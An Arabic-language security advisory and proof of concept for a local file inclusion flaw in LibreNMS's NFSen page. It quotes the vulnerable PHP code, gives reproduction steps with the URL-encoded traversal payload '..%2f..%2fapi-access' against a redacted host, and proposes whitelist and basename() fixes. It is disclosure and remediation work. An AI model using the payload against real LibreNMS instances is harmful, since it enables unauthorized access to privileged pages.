
إثبات المفهوم لـ CVE-2026-30480، وهي ثغرة تضمين ملفات محلي (Local File Inclusion) في وحدة NFSen الخاصة بـ LibreNMS، توضح اجتياز المسار لتضمين ملفات PHP عشوائية وتحليل الأثر.
| الحقل | القيمة |
|---|
| المنتج | LibreNMS |
| البائع | مشروع LibreNMS |
| نوع الثغرة | تضمين الملفات المحلي (LFI) / اجتياز المسار |
| CWE | CWE-98, CWE-22 |
| درجة CVSS | 7.5 - 8.5 (عالية) |
| المصادقة مطلوبة | نعم |
| تاريخ الاكتشاف | 2026-02-01 |
الملف: includes/html/pages/device/nfsen.inc.php
الأسطر: 46-48
if (is_file('includes/html/pages/device/nfsen/' . $vars['nfsen'] . '.inc.php')) {
include 'includes/html/pages/device/nfsen/' . $vars['nfsen'] . '.inc.php';
} else {
include 'includes/html/pages/device/nfsen/general.inc.php';
}
يتم اشتقاق المعامل $vars['nfsen'] من إدخال المستخدم ($_GET/$_POST) ويتم دمجه مباشرة في عبارة include() دون تعقيم مناسب. التحقق الوحيد المُنفَّذ هو فحص is_file()، والذي لا يمنع تسلسلات اجتياز المسار.
../)is_file() يتحقق فقط من الوجود، وليس من سلامة المسارسجّل الدخول إلى LibreNMS كمستخدم مُصادق
انتقل إلى تبويب Netflow لأي جهاز:
https://[TARGET]/device/[DEVICE_ID]/tab=netflow
أضف المعامل الخبيث:
https://[TARGET]/device/[DEVICE_ID]/tab=netflow?nfsen=..%2f..%2fapi-access
لاحظ أنه يتم تحميل محتوى صفحة الوصول إلى API بدلاً من محتوى NFSen
| السيناريو | المتوقع | الفعلي |
|---|---|---|
| طلب عادي | صفحة NFSen العامة (التدفقات، الحزم، الحركة) | صفحة NFSen العامة |
| طلب خبيث | صفحة NFSen العامة | محتوى صفحة الوصول إلى API |
| نوع التأثير | الوصف |
|---|---|
| كشف المعلومات | تضمين وتنفيذ ملفات .inc.php عشوائية |
| تصعيد الامتيازات | الوصول إلى صفحات مخصصة للمسؤولين كمستخدم بصلاحيات منخفضة |
| تنفيذ كود عن بُعد محتمل (RCE) | إذا تمكن المهاجم من التحكم في محتوى أي ملف .inc.php |
الرابط: https://[REDACTED]/about
الإصدار: 22.11.0-23-gd091788f2 (الخميس 15 ديسمبر 2022)
الوصف: معلومات إصدار LibreNMS تُظهر الإصدار المُختبر. هذا الإصدار بعد تصحيح CVE-2021-44278 (v21.12.0)، مما يؤكد أن هذه ثغرة جديدة غير مُصححة.

الرابط: https://[REDACTED]/device/114/tab=netflow
الوصف: صفحة NFSen/Netflow العادية تُظهر أقسام التدفقات والحزم والحركة. هذا هو السلوك المتوقع دون استغلال.

الرابط: https://[REDACTED]/device/114/tab=netflow?nfsen=..%2f..%2fapi-access
الحمولة: ..%2f..%2fapi-access (اجتياز مسار مُرمَّز بعنوان URL)
الوصف: عند حقن الحمولة الخبيثة، يتم تحميل محتوى صفحة الوصول إلى API بدلاً من محتوى NFSen. يُظهر هذا نجاح تضمين الملفات المحلي - تم تضمين ملف api-access.inc.php بدلاً من general.inc.php.

الرابط: https://[REDACTED]/device/114/tab=netflow?nfsen=..%2f..%2fapi-access
الحمولة: ..%2f..%2fapi-access (اجتياز مسار مُرمَّز بعنوان URL)
الوصف: نفس الاستغلال تمت محاولته مع مستخدم بصلاحيات أقل (قراءة عامة). تعرض الصفحة خطأ "ليس لديك صلاحيات كافية لعرض هذه الصفحة". يؤكد هذا:

showconfig.inc.php وتم تصحيحها في v21.12.0). تؤثر هذه الثغرة على nfsen.inc.php ولا تزال غير مُصححة.تنفيذ تحقق قائم على القائمة البيضاء:
$allowed_pages = ['general', 'stats', 'channel'];
if (in_array($vars['nfsen'], $allowed_pages, true)) {
include 'includes/html/pages/device/nfsen/' . $vars['nfsen'] . '.inc.php';
} else {
include 'includes/html/pages/device/nfsen/general.inc.php';
}
استخدام basename() لإزالة اجتياز المسار:
$nfsen_page = basename($vars['nfsen']);
if (is_file('includes/html/pages/device/nfsen/' . $nfsen_page . '.inc.php')) {
include 'includes/html/pages/device/nfsen/' . $nfsen_page . '.inc.php';
}
| التاريخ | الإجراء |
|---|---|
| 2026-02-01 | اكتشاف الثغرة |
| 2026-04-14 | نشر CVE، إخطار البائع |
| 2026-04-14 | الكشف العام |
يُقدَّم تقرير الثغرة هذا لأغراض تعليمية وأبحاث أمنية مصرح بها فقط. اتبع الباحث ممارسات الكشف المسؤول من خلال إخطار البائع قبل الكشف العام.
اكتشفها: Ömer Baran Parlak
البريد الإلكتروني: [email protected]
GitHub: parlakbarann